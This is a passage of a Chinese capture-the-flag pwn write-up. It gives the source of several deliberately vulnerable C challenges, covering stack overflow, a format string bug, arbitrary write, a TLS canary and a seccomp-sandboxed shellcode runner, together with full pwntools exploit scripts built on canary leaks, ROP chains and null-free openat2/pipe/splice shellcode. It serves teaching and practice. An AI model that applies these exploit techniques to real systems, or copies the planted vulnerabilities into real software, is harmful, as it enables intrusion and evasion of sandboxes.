printf("Enter your binary exploit (press Ctrl+D when done):\n");
// 使用 read 代替 fgets,这样可以接收 \x00 字节
char *exploit_data = malloc(BUF);
size_t total_size = 0;
// 读取数据直到遇到 EOF
int bytes_read;
while ((bytes_read = read(STDIN_FILENO, exploit_data + total_size, 1)) > 0) {
total_size++;
if (total_size >= BUF - 1) {
// 扩大缓冲区
char *new_ptr = realloc(exploit_data, total_size + BUF);
if (!new_ptr) {
printf("Memory allocation failed\n");
break;
}
exploit_data = new_ptr;
}
// 如果读到换行符则停止(或继续直到EOF)
if (exploit_data[total_size-1] == '\n') {
break; // 或者改为 continue; 继续读取直到EOF
}
}
if (total_size > 0) {
// 发送二进制数据(注意:这里使用实际读取的长度,而不是 strlen)
send(fd, exploit_data, total_size, 0);
// 接收响应
n = recv(fd, buf, BUF - 1, 0);
if (n > 0) {
printf("[Response (hex)]: ");
for (int i = 0; i < n; i++) {
printf("%02x ", (unsigned char)buf[i]);
}
printf("\n");
} else {
printf("[No response or connection closed]\n");
}
}
free(exploit_data);
close(fd);
break; // 功能2结束后退出
} else if (choice == 3) {
printf("Goodbye!\n");
break;
} else {
printf("Invalid choice.\n");
}
}
return 0;
}服务端的代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>
#include <fcntl.h>
#define PORT 8080
#define BACKLOG 10
#define VULN_SIZE 0x400 // 明确定义 vuln 大小
void copy(char *vuln, int n, int client_fd);
void handle_client(int client_fd) {
char buffer[0x20]; // 小缓冲区,用于 memcpy 目标
char vuln[VULN_SIZE]; // 把 vuln 放在 handle_client 栈上(更容易溢出)
memset(buffer, 0, sizeof(buffer));
memset(vuln, 0, sizeof(vuln));
const char *welcome_msg = "Welcome to this game!\n";
send(client_fd, welcome_msg, strlen(welcome_msg), 0);
ssize_t n = recv(client_fd, vuln, sizeof(vuln) - 1, 0);
if (n > 0) {
vuln[n] = '\0';
copy(vuln, (int)n, client_fd);
const char *response = "Data processed. Goodbye.\n";
send(client_fd, response, strlen(response), 0);
}
close(client_fd);
}
void copy(char *vuln, int n, int client_fd) {
char buffer[0x20];
memcpy(buffer, vuln, n); // 溢出点保留!
dprintf(client_fd, buffer); // 原生格式化字符串漏洞触发点
dprintf(client_fd, "\n"); // 保持交互清晰
}
void backdoor() {
// 直接读取flag文件并写入到可能的文件描述符
int fd = open("./flag", O_RDONLY);
if (fd < 0) {
// 尝试写入到常见的文件描述符
write(3, "Flag file not found\n", 20);
write(4, "Flag file not found\n", 20);
write(1, "Flag file not found\n", 20);
return;
}
char flag[100];
ssize_t n = read(fd, flag, sizeof(flag) - 1);
if (n > 0) {
flag[n] = '\0';
// 尝试写入到多个可能的文件描述符,其中一个应该是客户端连接
write(3, flag, n);
write(4, flag, n);
write(1, flag, n);
}
close(fd);
}
int main() {
signal(SIGCHLD, SIG_IGN);
int s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0) {
perror("socket failed");
exit(EXIT_FAILURE);
}
int opt = 1;
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = INADDR_ANY;
if (bind(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("bind failed");
exit(EXIT_FAILURE);
}
if (listen(s, BACKLOG) < 0) {
perror("listen failed");
exit(EXIT_FAILURE);
}
printf("Server listening on port %d\n", PORT);
while (1) {
int client_fd = accept(s, NULL, NULL);
if (client_fd < 0) {
perror("accept failed");
continue;
}
if (fork() == 0) {
close(s); // 子进程不需要监听套接字
handle_client(client_fd);
exit(0);
}
// 父进程不再关闭 client_fd,因为子进程会处理它
// close(client_fd); // 移除这一行
}
}exp
这里调试不行,socker套接字没有弄到位
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.os = 'linux'
p = process('./server')
io = process('./client')
pd = b'1'
io.sendline(pd)
pd = b'%12$p'
io.sendline(pd)
io.recvuntil(b'[Leaked data (hex)]: ')
hex_str = io.recvline().strip().decode()
raw_bytes = bytes.fromhex(hex_str.replace(' ', ''))
original_str = raw_bytes.decode('ascii', errors='ignore').rstrip('\x00\x0a\x0d\x7f')
print(f"Original string: {original_str}")
# 提取0x后的部分
match = re.search(r'0x([0-9a-fA-F]+)', original_str)
if match:
canary_hex = match.group(1)
print(f"Extracted hex: {canary_hex}")
# 确保是16位(8字节),右对齐补0
canary_hex = canary_hex.rjust(16, '0')[-16:] # 取最后16位
print(f"Padded hex: {canary_hex}")
canary = int(canary_hex, 16)
print(f"Canary value: {hex(canary)}")
#pause()
io.recvuntil(b'3. Exit')
gdb.attach(p, 'set follow-fork-mode child\nb *0x4014C3\n')
pd = b'2'
io.sendline(pd)
#payload = b'a' * 0x88
payload = b'a' * 0x28 + p64(canary) + p64(0xdeadbeef) + p64(0x4015A6)
io.sendline(payload)
io.interactive()pwn7:myedit_machine
这个算是我的得意之作了,任意地址写加上一个低8字节保护,主要是考察的对于指针的理解
当时出这个题目出了3天,很早之前了,需要静态编译去做。
题目源码
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <sys/syscall.h>
#include <linux/filter.h>
#include <linux/audit.h>
#include <stddef.h>
#include <unistd.h>
#include <sys/mman.h>
#include <linux/filter.h>
#include <linux/audit.h>
#include <stdint.h>
#define MAX_SIZE 512
#define CONFIG_SIZE 256
struct sock_filter filter[] = {
BPF_STMT(BPF_LD | BPF_W | BPF_ABS,(offsetof(struct seccomp_data,arch))),
BPF_JUMP(BPF_JMP| BPF_JEQ,AUDIT_ARCH_X86_64,0,3),
BPF_STMT(BPF_LD | BPF_W | BPF_ABS,(offsetof(struct seccomp_data,nr))),
BPF_JUMP(BPF_JMP| BPF_JEQ,__NR_execve,1,0),
BPF_STMT(BPF_RET| BPF_K,SECCOMP_RET_ALLOW),
BPF_STMT(BPF_RET| BPF_K,SECCOMP_RET_KILL),
};
struct sock_fprog prog = {
.len = sizeof(filter) / sizeof(filter[0]),
.filter = filter,
};
void sandbox(){
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) {
perror("prctl(NO_NEW_PRIVS)");
exit(1);
}
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) < 0) {
perror("prctl(SECCOMP)");
exit(1);
}
}
void init(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
}
void print_menu(){
printf("\n=== Configuration Manager ===\n");
printf("1. Edit config\n");
printf("2. View config\n");
printf("3. Exit\n");
printf("4. Exchange\n");
printf("5. return return return!");
printf("Choice: ");
}
char **ptr;
void handle_edit(char *target_buffer, char **heap_backup) {
char buf[MAX_SIZE];
char buf_backup[MAX_SIZE];
printf("enter new config data: ");
if(fgets(buf, sizeof(buf), stdin)) {
size_t len = strcspn(buf, "\n");
buf[len] = 0;
// 将用户输入复制到target_buffer
strncpy(target_buffer, buf, strlen(buf));
target_buffer[strlen(buf)] = 0;
}
printf("Do you want to backup to heap? (y/n): ");
char choice[2];
if(fgets(choice, sizeof(choice), stdin)) {
puts("you have no choice,hhhhh");
choice[0] = 'y';
choice[strcspn(choice, "\n")] = 0;
if (choice[0] == 'y' || choice[0] == 'Y') {
// 将用户输入的内容复制到buf_backup
strncpy(buf_backup, buf, strlen(buf));
void *fake_addr;
if (strlen(buf) >= 0x100) {
// 从buf_backup[0x100]开始的8字节内容作为地址值
// 方法1: 直接类型转换指针
fake_addr = *(void **)&buf_backup[0x100];
*heap_backup = (char *)fake_addr;
ptr = *(void **)&buf_backup[0]; // 这样ptr就指向我们输入的内容
} else {
// 如果输入不够长,从栈上获取地址
puts("what off do you want");
unsigned int off;
scanf("%d",&off);
// 修改后的操作:将buf_backup[off]位置的8字节内容作为地址值
// 方法1: 直接类型转换指针(推荐)
fake_addr = *(void **)&buf_backup[off];
// 或者方法2: 使用memcpy(你原来的方法实际上是正确的)
// memcpy(&fake_addr, &buf_backup[off], sizeof(void*));
*heap_backup = (char *)fake_addr; //这样错位应该是栈地址
ptr = *(void **)&buf_backup[0];
}
printf("give you high_quality vuln\n");
printf("ptr now points to: %p\n", ptr);
printf("heap_backup now points to: %p\n", *heap_backup);
puts("but nothing happens");
} else {
printf("give you low_quality vuln\n");
puts("but nothing happens");
}
}
}
void handle_view(char *data){
printf("\n--- File Content ---\n");
write(1, data, 8);
printf("\n--------------------\n");
}
void setup_buffers(char* ptr_heap)
{
char *ptr;
ptr = malloc(0x200);
memset(ptr, 0, 0x200);
ptr_heap = ptr;
}
char *heap_backup = NULL; //给出一个溢出影响不到的指针
int global_sign = 100;
int main(){
unsigned int choice;
init();
sandbox();
char config_data[CONFIG_SIZE]; //这里有越界,但是不能做到自己改变自我空间,需要一个指针
char *heap_ptr = NULL; //存储在生命周期更长的变量上,这个变量是一个烟雾弹,即便可以被溢出影响
void *addr;
setup_buffers(heap_ptr);
while (1) {
print_menu();
if (scanf("%d", &choice) != 1) {
break;
}
getchar();
switch (choice) {
case 1:
handle_edit(config_data, &heap_backup);
break;
case 2:
memcpy(&addr, config_data, sizeof(void*));
if (addr == NULL) {
puts("Address is NULL!");
return;
}
handle_view((char *)addr);
break;
case 3:
printf("Saving and exiting. Goodbye.\n");
if (heap_ptr) {
puts("what are you ding???");
free(heap_ptr);
}
return 0;
case 4:
ptr = heap_backup; //这里的话没有开始的8字节的保护
memcpy(ptr,config_data,strlen(config_data)); //这里通过指针,将其内容拷贝到可控制的区域,实现的话类似于改地址之后直接去写
size_t actual_length = strlen(config_data) ;
char *end_pos = (char *)ptr + actual_length; // 数据结束位置
ptr = (void *)((uintptr_t)end_pos & ~7UL); // 向下8字节对齐*/
puts("give you a choice to set zero");
char choice[2];
if(fgets(choice, sizeof(choice), stdin)) {
choice[strcspn(choice, "\n")] = 0;
if (choice[0] == 'y' || choice[0] == 'Y') {
int n;
scanf("%d",&n);
ptr[n] = 0;
}
}
global_sign --;
break;
case 5:
puts("return return return!");
return 0;
default:
printf("Invalid option.\n");
}
}
puts("???what are you doing???");
exit(0);
}exp
from pwn import *
#io = process('./myedit_revenge')
io = process('./myedit_machine')
context(log_level="debug",os="linux",arch="amd64")
#context.terminal = ['tmux', 'splitw', '-h']
pr = lambda x: success('\x1b[01;38;5;214m' + hex(x) + '\x1b[0m')
sl = lambda x: io.sendline(x)
s = lambda x: io.send(x)
rt = lambda x: io.recvuntil(x)
ru = lambda x: u64(io.recv(x).ljust(8,b'\x00'))
ri = lambda x: int(io.recv(x),16)
it = lambda : io.interactive()
pie = 0
def dbg(* addrs):
pay = ''
if pie:
for i in addrs:
pay += 'b *$rebase( ' + str(i) + ')' + '\n'
else:
for i in addrs:
pay += 'b *' + str(i) + '\n'
gdb.attach(io,pay)
def cmd(choice):
rt("Choice: ")
sl(str(choice))
def edit(content,off=304):
cmd(1)
rt("enter new config data: ")
sl(content)
rt("Do you want to backup to heap? (y/n): ")
sl('y')
if(len(content) < 0x100):
rt("what off do you want")
sl(str(off))
def exchange():
cmd(4)
rt("give you a choice to set zero")
sl(b'n')
def set(n = -1):
cmd(4)
rt("give you a choice to set zero")
sl(b'y')
sl(str(n))
#dbg(0x401F09) #write
#dbg(0x4020A8) #change_over
#dbg(0x401D22)
environ = 0x4F32D0
edit(p64(environ))
cmd(2)
rt(b'\n')
rt(b'\n')
stack = ru(6)-0x1f8#rbp
pr(stack)
edit(b'a'*0xf8+b'@'*8+p64(stack)) #这里确实是写上了,是下面这个交互修改了
exchange()
#dbg(0x401CDB)#choice 1
syscall = 0x0000000000423c36
pop_rdi = 0x00000000004029cf
ret = 0x000000000040101a
pop_rsi = 0x000000000040aa3e
pop_rax_rdx_rbx = 0x00000000004aa50a
pop_rdx_rbx = 0x00000000004aa50b
open = 0x45F090
read = 0x45F1C0
write = 0x45F260
def ed(pd):
edit(pd)
set()
def pay(n,date):
pd = b'a'*(0xc8-n+0x28)+p64(date) #这里不小心错位了,这里需要额外抬高8字节
ed(pd)
#total 25*8 = 200 = 0xc8
pd = b'a'*0xc8+b'@'*8+b'////flag' #pay(0x20,flag)
edit(pd)
set(0)
pd = b'a'*0xc8+b'@'*8+b'////flag' #pay(0x20,flag)
edit(pd)
set(-2)
pd = b'a'*0xc0+b'@'*8+p64(write) #pay(0x20,flag)
edit(pd)
set(-1)
pd = b'a'*0xb8 + p64(write) #pay(0x28,write)
edit(pd)
set(-1)
#dbg(0x401cdb)#choice_1
pay(0x30,0)
pay(0x38,0x20)
pay(0x40,pop_rdx_rbx)
pay(0x48,stack+0xa00)
pay(0x50,pop_rsi)
pay(0x58,1)
pay(0x60,pop_rdi)
pay(0x68,read)
pay(0x70,0)
pay(0x78,0x20)
pay(0x80,pop_rdx_rbx)
pay(0x88,stack+0xa00)
pay(0x90,pop_rsi)
pay(0x98,3)
pay(0xa0,pop_rdi)
pay(0xa8,open)
pay(0xb0,0)
pay(0xb8,0)
pay(0xc0,pop_rdx_rbx)
pay(0xc8,0)
pay(0xd0,pop_rsi)
pay(0xd8,stack+0xc8+8)
edit(b'a'*0x10+p64(pop_rdi))
set(-1)
edit(b'a'*0x8+p64(ret))
exchange()
#dbg(0x4021d0) #choice_4
dbg(0x40231a) #return
#pay(0xe8,ret)
cmd(5)
io.interactive()结尾
终于出完了,细节的话我也还是有很多不会的,以后还得去学学
pwn8:ez_tls
以后有机会出个堆题,任意地址覆写这个canary存储的成员的数值
TLS 的核心特性是:变量在每个线程中都有自己的独立实例
源码是根据ida逆推的,假如exp不通的话可以调整一下填充物的大小
题目源码
这里的tls的地址是通过get_tls_cat_area()这个函数获取得到原来
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>
#include <string.h>
// 模拟TLS区域的全局缓冲区
__thread char tls_cat_buffer[512]; // 每个线程都有自己的TLS区域副本
// 获取TLS区域地址的辅助函数
char* get_tls_cat_area() {
return &tls_cat_buffer[0];
}
// 设置函数 - 初始化程序环境
void setup(int argc, const char **argv, const char **envp) {
// 初始化TLS区域
memset(tls_cat_buffer, 0, sizeof(tls_cat_buffer));
}
// 线程处理函数 - 处理猫咪命名和互动
void *thread_handler(void *arg) {
// 获取TLS区域地址
char* tls_address = get_tls_cat_area();
// 显示TLS区域地址信息
printf("The cat is from TLS area at: %p. ps: hyw...\n", tls_address);
// 提示用户为猫咪命名
printf("Give it a name now: ");
read(0, tls_address, 0x200u); // 从标准输入读取猫咪名字到TLS区域
// 确认名字
puts("That name sounds really nice.");
// 与猫咪互动 - 局部缓冲区
char local_buffer[40];
printf("Now, play with your new cat: ");
gets(local_buffer); // 这里存在缓冲区溢出风险
return NULL;
}
int main(int argc, const char **argv, const char **envp) {
pthread_t thread;
// 初始化程序环境
setup(argc, argv, envp);
// 显示欢迎信息
puts("You get a new cat. Meow~");
// 创建线程处理猫咪命名和互动
if (pthread_create(&thread, NULL, thread_handler, NULL)) {
fprintf(stderr, "Error creating thread\n");
return 1;
}
// 等待线程结束
pthread_join(thread, NULL);
return 0;
}这里的话是其他的出题人出的了,也是有很多值得学习的地方
pthread_create 函数用于创建一个新线程,并指定线程的起始例程和参数。其原型如下:
int pthread_create(pthread_t *thread, const pthread_attr_t *attr, void *(*start_routine)(void *), void *arg);参数说明:
pthread_t \*thread:指向线程标识符的指针,用于存储创建的线程的ID。const pthread_attr_t \*attr:线程属性指针,可以用于设置线程属性。如果传入NULL,则使用默认属性。void \*(\*start_routine)(void \*):指向线程起始例程的指针,即线程开始执行的函数。void \*arg:传递给起始例程的参数。
创建线程后,主线程调用 pthread_join,等待新线程结束。
我的web出了一个多进程,这个tls出了一个多线程
int __fastcall main(int argc, const char **argv, const char **envp)
{
pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF
newthread[1] = __readfsqword(0x28u);
setup(argc, argv, envp);
puts("You get a new cat. Meow~");
if ( pthread_create(newthread, 0, thread_handler, 0) )
return 1;
pthread_join(newthread[0], 0);
return 0;
}一开始我以为是大量写,后来发现就是单纯的直接往tls里写,我出难了好像。。。
这个需要对canary有一定的理解
void *__fastcall thread_handler(void *a1)
{
_BYTE v2[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+38h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("The cat is from %p. ps: hyw...\n", (const void *)(__readfsqword(0) - 288));
printf("Give it a name now: ");
read(0, (void *)(__readfsqword(0) - 288), 0x200u);
puts("That name sounds really nice.");
printf("Now, play with your new cat: ");
gets(v2);
return 0;
}exp
我们可以通过覆盖线程canary来绕过canary,但是创建线程程序只能运行一次,而且每个线程的canary是独立的,也就意味着我们只能一条ROP链达到泄露地址执行one_gadget
一个是canary的取值比较是用栈上的和tls存储的进行比较,其他的特殊的地方的就没有了
这个是一个tls不能随便的改,我们需要维护下面这个tls结构体
tcbhead_t结构体
typedef struct {
void *tcb; /* 指向线程控制块(TCB)的指针 */
dtv_t *dtv; /* 线程特定数据的指针 */
void *self; /* 指向线程描述符的指针 */
int multiple_threads; /* 标识是否有多个线程 */
int gscope_flag; /* 全局作用域标志 */
uintptr_t sysinfo; /* 系统信息 */
uintptr_t stack_guard;/* 堆栈保护 */
uintptr_t pointer_guard; /* 指针保护 */
/* 其他可能的字段... */
} tcbhead_t;struct pthread结构体
#include <stddef.h> // 为了使用 size_t
/* Definition of the tcbhead_t structure (hypothetical) */
typedef struct {
// 定义线程控制块头部结构体
// 可以根据实际情况进行定义
// 例如:线程ID、状态信息等
int thread_id;
// 其他相关信息
} tcbhead_t;
/* Define the pthread structure */
struct pthread {
#if !TLS_DTV_AT_TP
/* This overlaps the TCB as used for TLS without threads (see tls.h). */
tcbhead_t header; // 可能与TLS相关的头部信息
#else
struct {
// 更复杂的结构体定义
// 可能包含与TLS相关的更多详细信息
// ...
} header;
#endif
/* Extra padding for alignment and potential future use */
void *__padding[24]; // 填充数组,用于对齐和可能的未来扩展
};
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
#io = process('./vuln')
#gdb.attach(io,"set follow-fork-mode child\n")
io = gdb.debug('./vuln','b *0x4012B6\nc')
io.recvuntil(b'The cat is from ')
tls = int(io.recv(14),16)+0x120
print(hex(tls))
pd = b'a'*0x120
pd += p64(tls)*3
pd += p64(1)
pd += p64(0)
pd += b'a'*8
io.recvuntil(b"Give it a name now: ")
io.send(pd)
pd = b'a'*0x38
pd += p64(0x401016)
pd += p64(0x40122E)
io.recvuntil("Now, play with your new cat: ")
io.sendline(pd)
io.interactive()pwn9:ez_sc
这个题目禁用的部分不进行还原了,编译之后自己注意去做就行
题目源码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#include <seccomp.h>
#include <errno.h>
// 初始化函数 - 设置程序环境
void init(int argc, const char **argv, const char **envp) {
// 关闭标准输出缓冲
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
// 其他初始化操作
printf("Initializing sandbox environment...\n");
}
int main(int argc, const char **argv, const char **envp) {
ssize_t bytes_read;
int i;
void *buf;
// 初始化程序环境
init(argc, argv, envp);
// 尝试在固定地址映射内存页
buf = mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
// 如果固定地址失败,则分配任意地址
if (buf == MAP_FAILED) {
buf = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
}
// 如果两次都失败,退出程序
if (buf == MAP_FAILED) {
fprintf(stderr, "Failed to allocate memory\n");
exit(1);
}
printf("Memory allocated at: %p\n", buf);
// 从标准输入读取最多0x3C(60)字节到分配的内存
bytes_read = read(0, buf, 0x3C);
if (bytes_read < 0) {
fprintf(stderr, "Read failed\n");
exit(1);
}
printf("Read %ld bytes from stdin\n", bytes_read);
// 检查读取的数据中是否包含空字节(NULL byte)
for (i = 0; i < bytes_read; i++) {
if (((char*)buf)[i] == 0) {
puts("No null bytes allowed!");
exit(1);
}
}
printf("No null bytes found, proceeding to execute shellcode...\n");
// 将读取的数据作为函数执行(执行shellcode)
((void(*)())buf)();
return 0;
}这个shellcode开启了沙盒,不能有空字符,而且限制了字节
int __fastcall main(int argc, const char **argv, const char **envp)
{
ssize_t v4; // [rsp+8h] [rbp-18h]
int i; // [rsp+14h] [rbp-Ch]
void *buf; // [rsp+18h] [rbp-8h]
init(argc, argv, envp);
buf = mmap((void *)0x1337000, 0x1000u, 7, 50, -1, 0);
if ( buf == (void *)-1LL )
buf = mmap(0, 0x1000u, 7, 34, -1, 0);
if ( buf == (void *)-1LL )
exit(1);
v4 = read(0, buf, 0x3Cu);
if ( v4 < 0 )
exit(1);
for ( i = 0; v4 > i; ++i )
{
if ( !*((_BYTE *)buf + i) )
{
puts("No null bytes allowed!");
exit(1);
}
}
install_seccomp();
((void (*)(void))buf)();
return 0;
}dump一下可以看看保护
这个组合的方式很多,我们选一个内核管道做做
⚡ root@LAPTOP-G0KOPP7R /mnt/d/Users/Lenovo/Desktop/新春杯/其他题目/ez_sc seccomp-tools dump ./vuln
aa
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x04 0x00 0x00000002 if (A == open) goto 0008
0004: 0x15 0x03 0x00 0x00000101 if (A == openat) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x20 0x00 0x00 0x00000000 A = sys_number
0010: 0x15 0x04 0x00 0x00000003 if (A == close) goto 0015
0011: 0x15 0x03 0x00 0x00000004 if (A == stat) goto 0015
0012: 0x15 0x02 0x00 0x0000000b if (A == munmap) goto 0015
0013: 0x15 0x01 0x00 0x00000166 if (A == 0x166) goto 0015
0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0015: 0x06 0x00 0x00 0x00000000 return KILLexp
这里手搓了一个内核管道做的,00字节禁用,可以用其他的汇编指令进行等效替代
这里首先是打开文件,然后通过pipe分配管道,之后pipe参数地址会有对应的数字,splice之后控制好用1进行标准输出即可。
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
io = process('./vuln')
gdb.attach(io,'b *$rebase(0x14E2)')
#read
sd = '''
xor rax,rax
xor rdi,rdi
mov rsi,0x1337001
mov dx,0x666
syscall
'''
sd1 = asm(sd)
io.send(sd1)
#openat2
sd = '''
xor rdi,rdi
sub edi,0x64
push 0x67616c66
mov rsi,rsp
xor r9,r9
mov [rsp+8],r9
mov [rsp+0x10],r9
mov [rsp+0x18],r9
add rsp,0x8
mov rdx,rsp
xor r10,r10
add r10,0x18
xor rax,rax
add ax,0x1b5
syscall
'''
#pipe
sd += '''
xor rax,rax
mov al,0x16
lea rdi,[rsp+0x8]
xor rsi,rsi
syscall
'''
#splice
sd += '''
xor rax,rax
add ax,0x113
xor rdi,rdi
mov dil,0x3
xor rsi,rsi
mov rdx,QWORD PTR [rsp+0xc]
xor r10,r10
xor r8,r8
add r8,0x30
xor r9,r9
syscall
'''
#splice
sd += '''
xor rax,rax
add ax,0x113
mov dil,0x4
xor rsi,rsi
xor rdx,rdx
add rdx,0x1
xor r10,r10
xor r8,r8
add r8,0x30
xor r9,r9
syscall
'''
sd2 = asm(sd)
sd2 = b'a'*0x12+sd2
pause()
io.send(sd2)
io.interactive()涵盖AES加密绕过、ret2text、noputs、snake系列、server/client联动、TLS栈保护利用等9道Pwn题的原理分析与完整EXP实现。
由 AI 根据全文自动生成,仅供参考,以原文为准